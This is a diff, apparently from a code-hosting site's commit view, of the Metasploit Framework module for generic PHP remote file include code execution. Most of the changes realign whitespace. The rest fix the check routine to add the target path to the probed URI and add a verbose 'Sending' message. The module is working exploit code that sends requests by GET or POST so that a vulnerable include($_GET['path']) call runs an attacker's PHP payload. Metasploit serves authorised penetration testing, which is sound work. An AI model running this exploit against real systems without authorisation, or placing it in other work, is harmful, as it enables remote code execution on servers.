2
2
# This file is part of the Metasploit Framework and may be subject to
3
3
# redistribution and commercial restrictions. Please see the Metasploit
4
4
# web site for more information on licensing and terms of use.
5
- # http://metasploit.com/
5
+ # http://metasploit.com/
6
6
##
7
7
8
8
require 'msf/core'
@@ -16,36 +16,36 @@ class Metasploit3 < Msf::Exploit::Remote
16
16
17
17
def initialize ( info = { } )
18
18
super ( update_info ( info ,
19
- 'Name' => 'PHP Remote File Include Generic Code Execution' ,
20
- 'Description' => %q{
19
+ 'Name' => 'PHP Remote File Include Generic Code Execution' ,
20
+ 'Description' => %q{
21
21
This module can be used to exploit any generic PHP file include vulnerability,
22
22
where the application includes code like the following:
23
23
24
24
<?php include($_GET['path']); ?>
25
25
} ,
26
- 'Author' => [ 'hdm' , 'egypt' , 'ethicalhack3r' ] ,
27
- 'License' => MSF_LICENSE ,
28
- #'References' => [ ],
29
- 'Privileged' => false ,
30
- 'Payload' =>
26
+ 'Author' => [ 'hdm' , 'egypt' , 'ethicalhack3r' ] ,
27
+ 'License' => MSF_LICENSE ,
28
+ #'References' => [ ],
29
+ 'Privileged' => false ,
30
+ 'Payload' =>
31
31
{
32
32
'DisableNops' => true ,
33
- 'Compat' =>
33
+ 'Compat' =>
34
34
{
35
35
'ConnectionType' => 'find' ,
36
36
} ,
37
37
# Arbitrary big number. The payload gets sent as an HTTP
38
38
# response body, so really it's unlimited
39
- 'Space' => 262144 , # 256k
39
+ 'Space' => 262144 , # 256k
40
40
} ,
41
41
'DefaultOptions' =>
42
42
{
43
43
'WfsDelay' => 30
44
44
} ,
45
45
'DisclosureDate' => 'Dec 17 2006' ,
46
- 'Platform' => 'php' ,
47
- 'Arch' => ARCH_PHP ,
48
- 'Targets' => [ [ 'Automatic' , { } ] ] ,
46
+ 'Platform' => 'php' ,
47
+ 'Arch' => ARCH_PHP ,
48
+ 'Targets' => [ [ 'Automatic' , { } ] ] ,
49
49
'DefaultTarget' => 0 ) )
50
50
51
51
register_options ( [
@@ -59,19 +59,25 @@ def initialize(info = {})
59
59
] , self . class )
60
60
end
61
61
62
- def check
63
- uri = datastore [ 'PHPURI' ] ? datastore [ 'PHPURI' ] . dup : ""
64
- if ( uri and ! uri . empty? )
65
- uri . gsub! ( /\? .*/ , "" )
66
- print_status ( "Checking uri #{ uri } " )
67
- response = send_request_raw ( { 'uri' => uri } )
68
- return Exploit ::CheckCode ::Detected if response . code == 200
69
- print_error ( "Server responded with #{ response . code } " )
70
- return Exploit ::CheckCode ::Safe
71
- else
72
- return Exploit ::CheckCode ::Unknown
62
+ def check
63
+ uri = datastore [ 'PHPURI' ] ? datastore [ 'PHPURI' ] . dup : ""
64
+
65
+ tpath = normalize_uri ( datastore [ 'PATH' ] )
66
+ if tpath [ -1 , 1 ] == '/'
67
+ tpath = tpath . chop
68
+ end
69
+
70
+ if ( uri and ! uri . empty? )
71
+ uri . gsub! ( /\? .*/ , "" )
72
+ print_status ( "Checking uri #{ rhost +tpath +uri } " )
73
+ response = send_request_raw ( { 'uri' => tpath +uri } )
74
+ return Exploit ::CheckCode ::Detected if response . code == 200
75
+ print_error ( "Server responded with #{ response . code } " )
76
+ return Exploit ::CheckCode ::Safe
77
+ else
78
+ return Exploit ::CheckCode ::Unknown
79
+ end
73
80
end
74
- end
75
81
76
82
def datastore_headers
77
83
headers = datastore [ 'HEADERS' ] ? datastore [ 'HEADERS' ] . dup : ""
@@ -128,23 +134,23 @@ def php_exploit
128
134
uris . each do |uri |
129
135
break if session_created?
130
136
131
- # print_status ("Sending #{tpath+uri}")
137
+ vprint_status ( "Sending: #{ rhost + tpath +uri } " )
132
138
begin
133
139
if http_method == "GET"
134
140
response = send_request_raw ( {
135
141
'global' => true ,
136
- 'uri' => tpath +uri ,
142
+ 'uri' => tpath +uri ,
137
143
'headers' => datastore_headers ,
138
144
} , timeout )
139
145
elsif http_method == "POST"
140
146
response = send_request_raw (
141
147
{
142
- 'global' => true ,
143
- 'uri' => tpath +uri ,
144
- 'method' => http_method ,
145
- 'data' => postdata ,
148
+ 'global' => true ,
149
+ 'uri' => tpath +uri ,
150
+ 'method' => http_method ,
151
+ 'data' => postdata ,
146
152
'headers' => datastore_headers . merge ( {
147
- 'Content-Type' => 'application/x-www-form-urlencoded' ,
153
+ 'Content-Type' => 'application/x-www-form-urlencoded' ,
148
154
'Content-Length' => postdata . length
149
155
} )
150
156
} , timeout )
0 commit comments